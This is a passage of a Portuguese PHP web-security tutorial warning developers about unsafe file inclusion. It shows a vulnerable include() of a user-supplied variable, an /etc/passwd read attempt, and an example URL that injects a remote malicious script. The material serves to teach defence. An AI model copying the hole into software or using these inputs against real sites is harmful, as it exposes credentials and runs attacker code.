Neste artigo veremos
· Dicas de segurança;
· Utilização de sessões;
· Criação de login para acesso à área de administração.
Qual a finalidade
· Manter o web site protegido evitando possíveis invasões.
Quais situações utilizam esses recursos?
· Todo web site precisa de recursos de segurança para evitar invasões e conseqüentemente problemas futuros.
Resumo DevMan
Nesse artigo veremos algumas dicas de segurança para evitar que usuários com um pouco mais de experiência consigam invadir o site e forjar informações.
Veremos como utilizar sessões em login’s de forma que o usuário não consiga entrar diretamente em uma página sem fazer autenticação.
A internet como um todo cresceu bastante nos últimos tempos e tornou-se um meio de comunicação quase que indispensável no dia-a-dia. Aliás, além de um meio de comunicação, acabou virando “um lugar” onde podemos encontrar todo tipo de conteúdo, tal como: entretenimento, informação, cultura, jornalismo, compra e venda de produtos, sexo, etc. Milhares e milhares de Web Sites surgem a cada dia e são inúmeros os temas discutidos na grande rede.
Junto com a praticidade da WWW, que trouxe solução para diversos problemas, vieram muitos outros como é o caso da segurança. Os golpes, spams, fraudes, invasões, etc. são cada vez mais freqüentes e movimentam milhões de dólares todos os anos. Crackers, hackers, enfim, os malfeitores da internet desafiam o tempo todo profissionais e autoridades especializadas em segurança que ganham para manter a integridade de dados de suas redes corporativas. As mais diversas ferramentas e conceitos de segurança são implementados e criados a todo tempo, porém muitos profissionais desconhecem técnicas básicas para o desenvolvimento de sites seguros e com poucas chances de erro.
O tema desse artigo é justamente alertar sobre alguns cuidados a se tomar para evitar determinados problemas e com isso evitar muitos transtornos no dia-a-dia.
Veremos como evitar o envio de arquivos ou a tentativa de busca das senhas do servidor. Faremos também um pequeno sistema e o adaptaremos para usar sessões evitando o acesso à página sem efetuar login.
Envitando passagem de páginas por parâmetro
A primeira dica é prever que o usuário do seu site nem sempre tem a intenção de entrar com as informações exatamente como é solicitada, ou seja, burlar um site pode ser bastante divertido para alguns e um negócio para outros. Portanto, temos que tomar algumas precauções para evitar que o internauta tenha acesso total aos seus arquivos e/ou senhas.
O primeiro caso está no fato de abrir arquivos baseados na entrada do usuário, por exemplo: quando usamos os métodos include() e require(), os arquivos informados no método podem ser variáveis e portanto podem vir de informações do usuário. Podemos permitir, por algum motivo, que o usuário informe qual o arquivo ele pode carregar nos métodos include() e require() através de um formulário ou QueryString(), veja:
<?php
include($minha_pagina);
?>
No código anterior estamos informando ao método include() que uma variável chamada $minha_pagina deverá ser incluída na página atual, ou seja, qualquer informação poderá vir nessa variável. Vejamos a Listagem 1.
Listagem 1. Código do arquivo topo.htm
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Untitled Document</title>
</head>
<body>
<img src="topo_artigo.JPG">
<br>
<form action="validar.php" method="post" name="frmValidar" id="frmValidar">
<p>Informe o arquivo de configuração<br>
<input name="page" type="text" id="page">
<input name="Carregar" type="submit" id="Carregar" value="Carregar">
</p>
</form>
<br>
<img src="devmedia.jpg">
</body>
</html>
No código da Listagem 1 criamos um formulário onde o usuário poderá informar qual o arquivo deseja enviar/carregar. Veja a Figura 1 como criamos o layout dessa página.

Figura 1. Exemplo de carregamento de arquivo
Há um enorme perigo em se deixar o usuário carregar arquivos dessa forma. Digamos que o nosso usuário é um pouco mais esperto e resolve fazer um pequeno teste: colocar no campo o endereço do arquivo de senhas do PHP. Normalmente o arquivo de senhas fica alocado em /etc/passwd, logo podemos incluir essa informação no arquivo solicitado pelo nosso formulário.
O arquivo validar.php, que será chamado por essa página, receberá o conteúdo do campo e o executará como segue:
include($minha_pagina);
Automaticamente o arquivo passwd poderá ser carregado na tela e obviamente estará disponível para leitura caso a variável register_globals do arquivo php.ini (presente no servidor) estiver configurada como On. Claro, o responsável pela instalação do PHP no servidor do DataCenter jamais esqueceria de uma informação como esta. Mas o mais sensato é fazer o teste antes e evitar erro futuro. Outra forma de se fazer isso seria digitando o caminho da página na barra de endereços e colocar o endereço que desejar na variável $minha_pagina assim como podemos ver a seguir:
http://www.seusite.com.br/seu_script.php?minha_pagina=http://www.meusite.com.br/script_malicioso.php
Veja que é perfeitamente possível passar para a variável um arquivo de outro servidor. Lembrando que o método ...